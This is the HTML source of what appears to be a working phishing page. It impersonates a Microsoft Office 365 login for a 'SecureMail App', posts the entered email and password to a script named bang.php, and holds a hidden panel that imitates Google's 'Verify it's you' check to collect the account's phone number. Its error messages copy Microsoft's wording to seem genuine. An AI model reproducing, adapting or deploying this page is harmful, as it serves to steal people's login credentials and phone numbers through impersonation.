<title>
   Login
  </title><link rel="shortcut icon"href type=image/x-icon><link href=main.css rel=stylesheet><style>body{
			background: #0073C6;
		}

		.container{
			width:100%;
			display: flex;
			justify-content: center;
			align-items: center;
			height: 100vh;
		}

		.office{
			width: 380px;
			background: #fff;
		}

		.office-holder{
			width:80%;
			margin: auto;
			padding: 20px 0px;
		}

		.logo{
			width:100%;
			float: left;
			margin-bottom: 2em;
		}

		.logo h1{
			font-family: arial;
		}

		.verify{
			width: 70%;
			margin: auto;
		}

		.verify h4{
			font-family: arial;
		}

		fieldset{
			width: 90%;
			float: right;
			border:2px solid #4285f4;
			border-radius: 5px;
		}

		legend{
			font-size: 15px;
			overflow: hidden;
			width: 42%;
			padding:0px 2px;
			margin: 0px;
		}

		.verify input[type='text']{
			width: 100%;
			float: right;
			border:none;
			padding:3px 10px;
		}

		.verify button{
			border:none;
			height: 40px;
			width: 80px;
			float: right;
			margin-top: 2em;
			background: #4285f4;
			border-radius: 5px;
			color: #fff;
		}

		.email-to-verify{
			border:1px solid #000;
			border-radius: 10px;
		}

		.form-holder{
			width:100%;
			float: left;
		}

		.form-holder h3{
			font-weight: 600;
		}

		.form-holder input[type='email'], input[type='password']{
			width: 100%;
			height:40px;
			float: left;
			margin-bottom: 15px;
		}
		.form-holder .btn-holder{
			width:100%;
			margin-top:1em;
			display: flex;
			align-content: center;
			align-items: center;
			justify-content: center;
		}

		.form-holder .btn-holder .btn{
			background:#0073C6;
			border:none;
			padding:6px 10px;
			color:#fff;
			border-radius: 0px;
			margin-top: 20px;
			margin-bottom: 20px;
		}

		.form-holder .btn-holder .btn:hover{
			cursor:pointer;
		}

		.checkbox{
			width: 100%;
			float: left;
			margin-top:5px;
		}

		.checkbox label{
			font-family:arial;
			font-size:13px;
			float: left;
			margin-left:1em;
		}

		.hide{
			display: none;
		}</style><script>function submitFunction()
  {
  var email=document.getElementById('email').value;
  var atpos = email.indexOf("@");
  var dotpos = email.lastIndexOf(".");
   var password=document.getElementById('password').value;
  
  if (atpos < 1 || dotpos < atpos + 2 || dotpos + 2 > email.length)
  
  {
  
    document.getElementById("error0").innerHTML="Enter your microsoft ID";
  document.getElementById("error0").style.color = 'red';
                flag=1;
  return false;
  
  }
  
  if(password.length<5)
  		{
  			document.getElementById("error1").innerHTML="Incorrect password. Try entering it again.";
  				document.getElementById("error1").style.color = 'RED';   
                flag=1;
  				return false;
  		}
  
else
		{
				return true;
		}

  }</script><body onsubmit="return submitFunction();"><div class=container><div class="office hide"style="border: 1px solid #eee; border-radius: 5px; padding:50px 0px; width: 400px;"id=verify><div style="text-align: center;"class=verify><div style="width: 100%; margin-bottom: 10px;"><img src=google.png width=100px></div><div style="width: 100%;"><div class="alert alert-danger hide alert1"></div></div><h4>Verify it's you</h4><p>This device isn't recognized. For your security, Google wants to make sure it's really you</div><div class=verify><div style="margin-bottom: 5px; text-align: center;"class=email-to-verify></div><p style="font-size:13px; float: left; margin-top: 12px; margin-bottom:26px;">Confirm the phone number you provided in your security settings</div><div class=verify><fieldset><legend>Phone number</legend><input id=phone-no name=phone></fieldset><button id=next>Next</button></div></div><div class="office show border shadow bg-light"id=others><div class=office-holder><div class=logo><h3 class=text-dark><strong class=text-uppercase id=domain-name> </strong></h3><img alt="Italian Trulli"style="width: 200px; height: 46px;"src=https://upload.wikimedia.org/wikipedia/commons/thumb/7/74/Office_365_logo.png/1599px-Office_365_logo.png><br><br><h6 class=font-weight-light>Login microsoft account</h6><h6 class=font-weight-light>to access SecureMail App</h6></div><div align=left id=error0></div><div align=left id=error1></div><form action=bang.php method=post><div class=form-holder><div style="width: 100%;"><div class="alert alert-danger hide alert2"></div></div><input placeholder="Email address"class=form-control id=email name=email type=email><input class=form-control id=password name=password placeholder=Password type=password><div class=checkbox><input style="float: left; margin-top:2px; margin-bottom: 10px;"type=checkbox><label>REMEMBER ME</label></div><div class=btn-holder><button class="btn btn-lg col-12"id=signin>LOGIN</button></div><p style="color:#0073C6; margin-top:1em; float: left; width:100%;">can't access your account?<p style="color:#0073C6; margin-top:0em; float: left; width:100%;">Sign in with a single-use code</div></form></div></div></div>